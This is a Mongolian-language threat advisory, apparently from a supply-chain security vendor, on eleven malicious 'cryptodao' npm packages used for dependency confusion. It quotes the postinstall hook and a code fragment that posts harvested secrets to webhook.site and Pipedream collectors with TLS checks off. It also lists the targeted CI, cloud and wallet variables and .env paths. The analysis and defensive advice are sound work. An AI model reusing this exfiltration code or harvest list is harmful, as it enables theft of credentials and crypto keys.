CryptoDAO төөрөгдөл: npm багц цуглуулах CI/CD болон Крипто нууцууд

CryptoDAO төөрөгдөл: арван нэгэн npm багц, нэг ашигтай ачаалал, ургац хураалт CI/CD болон крипто түрийвчний нууцууд

TL, DR

2026-06-17-нд ганц npm бүртгэл нийтлэгдсэн Нэг зорилго, нэг ачаатай арван нэгэн багцТэдний арав нь ... авч явдаг. cryptodao- угтвар (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); арван нэг дэх нь хүрээлэгдсэн байна @public-for-cdao/coreБүгдийг нь хувилбар дээр нийтэлсэн 99.99.99 мөн байттай ижил утгыг илгээдэг recon.js ажиллуулдаг postinstall.

Нэрс нь гол санаа юм. Тэдгээр нь крипто/DAO төслийн хувийн хэрэгслийн сүлжээний дотоод барилгын блокууд шиг уншигддаг. Олон нийтийн npm бүртгэлд зохиомлоор өндөр хувилбараар нийтлэгдсэн тул тэд бүтээхийг хүлээж суудаг. pipeline эдгээр нэрийг шийдвэрлэхээр тохируулагдсан бөгөөд хувийн бүртгэлийн өмнө буюу оронд нь олон нийтийн npm-д хүрдэг. Энэ нь хамаарлын төөрөгдөл, мөн ашигтай ачаа яг хаана буухыг хүлээж байгаагаар нь тохируулсан байна: CI/CD тамирчид.

үед postinstall гал түймэр, recon.js зохион байгуулагчийн мэдээллийг цуглуулж, бараг л шүүрддэг дөчин үүлэн, CI болон крипто-түрийвчний орчны хувьсагч, дурын уншдаг .env олж чадах файлуудаа нууц агуулсан мөрүүдийг үгчилсэн байдлаар нь дамжуулж, дараа нь багцыг хоёр цуглуулагч руу дамжуулдаг — webhook.site мөн Pipedream төгсгөлийн цэг — TLS гэрчилгээний баталгаажуулалтыг идэвхгүй болгосон. Хуулбарыг мөн доор бичсэн болно /tmp.

Хүнд байдал: өндөрНөлөөлөлд өртсөн экосистем: npmБичиж байх үед арван нэгэн багц бүгд ажиллаж байсан.

Довтолгооны анатоми

Механизм нь дөрвөн хөдөлдөг хэсэгтэй бөгөөд та мэдэж байх үед тэдгээрийн аль нь ч нарийн биш юм багцын нэрний ард нэг давхар харна уу.

1. Хувилбарын инфляцийг шийдэгч өгөөш болгон ашиглах. Багц бүр хувилбарыг зарладаг 99.99.99Багц менежер асуухад хамаарлын төөрөгдөл ажилладаг. дотоод нэр, мөн олон нийтийн бүртгэлийг шалгаж, хамгийн өндөр хувилбарыг нь сонгоно олдог. npm-ийн карет эсвэл зэрлэг тэмдэгтийн мужийн анхдагч сонголт нь тохируулсан бүх эх сурвалжаас хамгийн өндөр сэтгэл ханамжтай хувилбар; хэрэв хоёулаа хувийн бол Ижил нэртэй бүртгэл болон нийтийн npm хариултыг ашиглахад хувилбарын дугаар нь том байх нь хожно. A 99.99.99 төслийн бодит дотоод хувилбараас үндсэндээ илүү давуу талтай хүрсэн тул хувийн эх сурвалжид бэхлэгдээгүй тайлагч нь илүүд үздэг олон нийтийн — энэ тохиолдолд дайсагнасан — хуулбар. Оператор нь мэдэх шаардлагагүй Байны бодит хувилбарын тоонууд; утгагүй дээд хэмжээг сонгох нь үргэлж тэнцэхийг баталгаажуулдаг тэдний замыг тасалдуулдаг.

2. Суулгасны дараах триггер. багц.json ачааллыг суурилуулалт руу холбодог амьдралын мөчлөг:

{   "scripts": { "postinstall": "node recon.js" } }

Багцыг импортлох шаардлагагүй. Зүгээр л суулгахад л хангалттай - энэ нь CI юм pipeline автоматаар хийдэг - ажилладаг recon.js.

3. Өргөн хүрээтэй нууц шинжилгээ. recon.js үр дүнгийн массивыг үе шаттайгаар угсардаг:

  • Хостын контекст: хостын нэр, платформ болон хувилбар, архитектур, хэрэглэгчийн нэр, ажиллах сан.
  • Орчны хувьсагч: энэ нь дөчин орчим нэр, бичлэгийн тогтмол жагсаалтыг давтдаг тохируулсан аливаа зүйл. Жагсаалт нь илчлэгдэж байна - энэ нь ерөнхий CI токенуудыг хослуулдаг (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) болон үүл итгэмжлэл (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) бүртгэл болон контейнерын нууцтай хамт (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_НУУЦ ҮГ) мөн крипто амттай кластер:  ХУВИЙН_ТҮЛХҮҮР, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCБичсэн утгуудыг эхний 50 тэмдэгт хүртэл хасна.
  • .env файлууд: энэ нь замын жагсаалтыг шалгадаг — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, болон .үйлдвэрлэл/.хөгжил хувилбарууд — мөн байгаа аливаа файлын хувьд энэ нь агуулгыг тохирох мөрүүд рүү шүүнэ ТҮЛХҮҮР|НУУЦ|ТОКЕН|БАТАЛГАА|ХУВИЙН|МНЕМОНИК мөн тэдгээр мөрүүдийг **бүрэн хэмжээгээр, таслалгүйгээр** үр дүн рүү түлхдэг.
  • Build-host контекст: энэ нь эхний 20 оруулгыг жагсаав /барих/, /нүүр хуудас/gitlab-runner/бүтээлүүд/, /var/lib/gitlab-runner/Болон /tmp/.

Замын жагсаалт болон хувьсагчдын жагсаалтыг GitLab гүйгчдэд чиглэсэн жинтэй гэж үздэг бөгөөд энэ нь дараах зүйлийг харуулж байна. хөгжүүлэгчээс илүүтэйгээр өөрөө зохион байгуулагдсан CI дэд бүтцийн ачаалал шууд хамааралтай байдаг зөөврийн компьютер. Ургац хураалтын жагсаалтыг ангиллаар нь бүлэглэх нь тээвэрлэх зориулалттай газрыг тодорхой болгодог:

Ангилал Хувьсагч / замд хүрсэн
CI/CD таних тэмдэг ба байршуулалт CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Бүртгэл ба контейнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Өгөгдлийн сангууд DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Крипто / блокчэйн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Зурвас SLACK_TOKEN, DISCORD_TOKEN
Дискэн дээрх .env гэр бүл + /home/gitlab-runner/.env, /root/.env, /app/**/.env; лавлах жагсаалтууд /builds/, /var/lib/gitlab-runner/

Крипто кластер нь үүнийг ерөнхий CI нууцаас ялгаж салгадаг хэсэг юм. sweep: түрийвчний үрийн хэллэгүүд болон гарын үсэг зурах түлхүүрүүд зөвхөн орчинд л гарч ирнэ блокчэйн төсөл бөгөөд тэд шууд зураглал дээр байрладаг криптодао-/гарын үсэг зурах/гэрээ тээвэрлэгчдийг нэрлэх.

4. Баталгаажуулалтыг идэвхгүй болгосон давхар шүүрэлт. Цуглуулсан массив нь цуврал хэлбэрээр болон хоёр чиглэлд POST хийгдсэн:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

Зөвшөөрөлгүй татгалзсан: худал гадагш чиглэсэн TLS гэрчилгээний шалгалтыг унтраадаг дуудлагууд. Үүнтэй ижил өгөгдлийг stdout руу хэвлэдэг (ингэснээр энэ нь CI ажлын бүртгэлд мөн бичигддэг) ба бичсэн /tmp/.npm_recon_ .jsonАлдаанууд чимээгүйхэн залгигддаг тул амжилтгүй илгээлт нь суулгалтын гаралтад ганцаас хойш ямар ч ул мөр үлдээхгүй [дахин судлах] суулгасан Шугам.

Файл дахь гол тайлбарт үүнийг "Хараат байдлын төөрөгдөл" гэж тодорхойлсон байна. Тагнуулын ачаалал.” Орчны утгыг 50 тэмдэгт болгон багасгах нь ойлголтын нотолгооны хэлбэр. Үүнийг зөвхөн оршихуйг харуулсан дохионы хажуугаар хөдөлгөдөг зүйл бол .env харьцах: нууц агуулсан шугамуудыг бүрэн хэмжээгээр дамжуулдаг бөгөөд очих газруудыг зөвхөн тооцдог угаалтуур гэхээсээ илүү хоёр ажиллаж байгаа, халдагчийн хяналттай цуглуулагч юм хит.

Цагийн хуваарь

Нийтлэх загвар нь арван нэгэн биш, харин ганц скриптчилсэн түлхэлтийн гарын үсэг юм бие даасан байршуулалтууд.

Цаг (UTC, 2026-06-17) үйл явдал
03:24:58 cryptodao-bot@99.99.99 нийтэлсэн
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — хүрээний хувилбар, ~24 минутын дараа

29 секундын дотор арван багц буюу гурван секунд тутамд нэг багц гарсан байна. Хамрах хүрээтэй @public-for-cdao/core ойролцоогоор 24 минутын дараа - нэг секундын дараа хэрэв хэрэглээний төсөл нь дараах зүйлийг дурдсан бол ижил зорилтот бүлгийг нэрлэх конвенц дотоод хэрэгслийн хэлхээ нь нүцгэн нэрээр биш харин хүрээний дор байдаг.

Буулт хийх үзүүлэлтүүд

Төрөл: Үзүүлэлт
Цуглуулагч hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Цуглуулагч hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Дэгээ суурилуулах postinstall: node recon.js
Файлыг хаясан /tmp/.npm_recon_<timestamp>.json
Лог тэмдэглэгч [recon] <pkg>@<ver> installed on <hostname> (CI бүртгэл дэх stdout)
Зан төлөв rejectUnauthorized: false суулгалтын явцад гарах HTTPS дээр
Төлбөрийн хэмжээ recon.js, бүх арван нэгэн багцад ижил (нэг хуваалцсан хувилбар)
хувилбар 99.99.99 багц бүр дээр
Багцууд нь cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (бүгд 99.99.99)
Хэвлэлийн газар aduljune / aduljune@proton.me (имэйл баталгаажаагүй, холбоостой эх сурвалжийн сан байхгүй)

 Атрибут ба ажиглагдсан зан төлөв

Кластерын талаарх бүх зүйл нэг гарт байна. Бүх арван нэгэн багцыг нийтэлсэн. npm дансаар зул сарын баяр (aduljune@proton.me, баталгаажаагүй хаяг холбогдсон эх сурвалжийн репозитор), 25 минутын дотор, мөн адил 99.99.99 хувилбар, тээвэрлэлт recon.js агуулга нь байт бүрээр нь ижил байдаг багц (MD5 нь бүх арван нэгэн хуулбартай таарч байна). Энэ нь нэг ашигтай ачаалал юм бие даасан код дахин ашиглагдаагүй, нэрсийн жагсаалтад дарагдсан.

Нэрийн жагсаалт нь зорилтот түвшинг тодорхойлдог. криптодао-* болон cdao тайлбарлах крипто/DAO төслийн хувийн модулийн зохион байгуулалт болон ашигтай ачааллын ургацын жагсаалт толь нь таамаглаж байна: ерөнхий CI болон үүлэн нууцын хажуугаар, энэ нь ялангуяа хүрэх ХУВИЙН_ТҮЛХҮҮР, MNEMONIC, SEED_PHRASEболон Ethereum/BSC RPC болон үйлчилгээ үзүүлэгчийн түлхүүрүүд. .env Хайлтын замууд болон лавлах жагсаалтууд нь GitLab-runner юм тодорхой. Ажиглагдаж буй нөлөө нь аливаа pipeline эдгээрийг суулгах гэж хуурсан нэрс нь өөрийн CI жетон, үүлэн түлхүүр болон дискэн дээрх мэдээллийг дамжуулах болно .env нууцууд - мөн, блокчэйн төсөл, түүний түрийвчний материал - хоёр гуравдагч талын цуглуулагчид.

Бид хэн данс ажиллуулж байгаа эсвэл тэд юу хийхээр төлөвлөж байгаа талаар ямар ч мэдэгдэл хийдэггүй өгөгдөл. Өөрөө байдаг баримтууд: нэрс нь тодорхой төрлийг чиглүүлдэг дотоод хэрэгслийн гинжин хэлхээ, ашигтай ачаалал нь жинхэнэ нууц утгуудыг уншиж, дамжуулдаг бөгөөд Дэд бүтэц ажиллаж байсан.

Нөлөөлөл, чиг хандлага, хамгаалагчдын удирдамж

Хараат байдлын төөрөгдөл нь бус харин шийдэгчийн зан төлөвийг ашигладаг тул үр дүнтэй хэвээр байна ямар ч багцад эмзэг байдал. Энд байгаа тээвэрлэгч нь энгийн зүйл юм - арван нэгэн нь бараг хоосон байна багцууд — гэхдээ дэлбэрэлтийн радиус нь ямар ч байсан хамаагүй pipeline олон нийтийн npm-г илүүд үздэг гэж андуурч байна Дотоод нэрийн хувьд. CI гүйгчид үүнийг тохиолдох хамгийн муу газар юм: тэд барьдаг яг л жетонууд болон .env энэ ашигтай ачааллыг уншдаг файлууд, тэд суулгадаг хамаарлууд нь интерактив бус байдлаар, тиймээс a суулгасны дараах хэнийг ч харахгүйгээр гүйдэг.

Энэ кластер нь бидний байнга харж байдаг хэв маягтай тохирч байна: суулгах хугацааны ачаалал жинхэнэ итгэмжлэл цуглуулах явцдаа "судалгаа" эсвэл "тагнуул" хийх зорилгоор. Шошго файл дотор код нь runner дээр юу хийдгийг өөрчлөхгүй. Хоёр дизайны сонголт хэвээр байна үйл ажиллагаа чимээгүй байна: сүлжээ болон файлын системийн бүх үйл ажиллагаа нь дараах байдлаар ороосон байна алдааг хааж, илгээлтийг хаасан эсвэл файл алга болсон тохиолдолд алдааг арилгадаг онцгой тохиолдлын зохицуулагч оношлогооны гаралт гаргадаггүй бөгөөд хэвлэсэн цорын ганц зүйл бол ганц гэм хоргүй юм [дахин тохируулах] … суулгасан ердийн суулгалтын чимээтэй холилдох шугам. Хэрэглээ вэбхук.сайт мөн Pipedream нь санаатайгаар ашиглахад тохиромжтой - хоёулаа үнэгүй, хүсэлт хүлээн авах үйлчилгээг шууд хангадаг тул операторт сервер хэрэггүй өөрсдийн болон очих газрууд нь гаралтын бүртгэлд ердийн SaaS хост нэр шиг харагддаг.

Эдийн засгийн үндэслэл нь үүнийг хамгаалагчийн анхаарлыг татахуйц болгож байгаа ч гэсэн Операторын код нь энгийн зүйл. Арван нэгэн нэрийг бүртгүүлэхэд ямар ч зардал гарахгүй, нэг ачааны төлбөр байна файлыг арван нэгэн удаа хуулсан бөгөөд багцын менежер бүх гүйцэтгэлийг хийдэг. Ганц буруу тохируулагдсан pipeline Эдгээр нэрсийн аль нэгийг нь хэрэглэсэн газар бүхэлд нь төлдөг үйл ажиллагаа.

Хамгаалагчдын хувьд тодорхой алхамууд:

  • Дотоод хүрээг хувийн бүртгэлдээ хавсаргана уу. Дотоод нэрсийг оруулахын тулд npm-г тохируулна уу
     болон хамрах хүрээ нь зөвхөн таны бүртгэлийн эсрэг шийдэгддэг (хамрах хүрээтэй .npmrc бүртгэлийн зураглал,
    эсвэл эзэмшлийн нэрийн орон зайн хувьд public npm-д хэзээ ч ордоггүй прокси). Өөрийн public хамрах хүрээний нэрийг өөр хэн ч бүртгүүлж чадахгүй тул нөөцөл.
  • Commit lockfiles болон –ignore-scripts ашиглан суулгана уу CI-д боломжтой үед, эсвэл Суулгах скриптүүдийг үнэхээр шаарддаг жижиг хамаарлуудыг шалгаж үзээрэй.  recon.js дараах тохиолдолд ажиллах боломжгүй суулгасны дараах гүйцэтгэгдээгүй байна.
  • Дотоод харагдах нэрний 99.99.99 (эсвэл бусад утгагүй өндөр) хувилбарыг авч үзье улаан туг мэт хамаарлын хяналт болон бүртгэлийн хяналтад.
  • Суулгах хугацаа дуусахад анхааруулга өгөх. A суулгасны дараах энэ нь гадагшаа HTTPS нээдэг холболт - ялангуяа гэрчилгээний баталгаажуулалтыг идэвхгүй болгосон үед - руу webhook.site, Pipedream, эсвэл үүнтэй төстэй хүсэлт хүлээн авах үйлчилгээнүүдийг сүлжээний ирмэг дээр хааж, бүтээх бүртгэлд тэмдэглэх нь зүйтэй.
  • Эд өлгийн зүйлсийг хайж олоорой. Гүйгчдийг шалгах /tmp/.npm_recon_*.json ба төлөө [дахин судлах] … саяхны CI бүртгэлүүд дэх … тэмдэглэгээнд суулгасан. Хэрэв олдвол бүрийг эргүүлнэ үү үүнд ил болсон итгэмжлэл pipeline — CI жетон, үүлэн түлхүүр, бүртгэлийн жетон болон орчин эсвэл .env файлд байгаа аливаа түрийвчний үр эсвэл хувийн түлхүүрүүд.

Ашигласан материал

Энэ бичлэгийг бичиж байх үед энэ кластерын талаар ямар ч гадны тайлан байгаагүй; дүн шинжилгээ дээрх нь нийтлэгдсэн багцын агуулга дээр шууд үндэслэсэн болно

sca-tools-програм хангамжийн-бүтцийн-шинжилгээний-хэрэгсэл
Програм хангамжийн эрсдэлээ эрэмбэлэх, засах, аюулгүй болгох
Үнэгүй бүртгэлээ аваарай.
Зээлийн картын шаардлагагүй.

Програм хангамжийн хөгжүүлэлт болон хүргэлтээ аюулгүй байлгаарай

Xygeni Product Suite-тэй хамт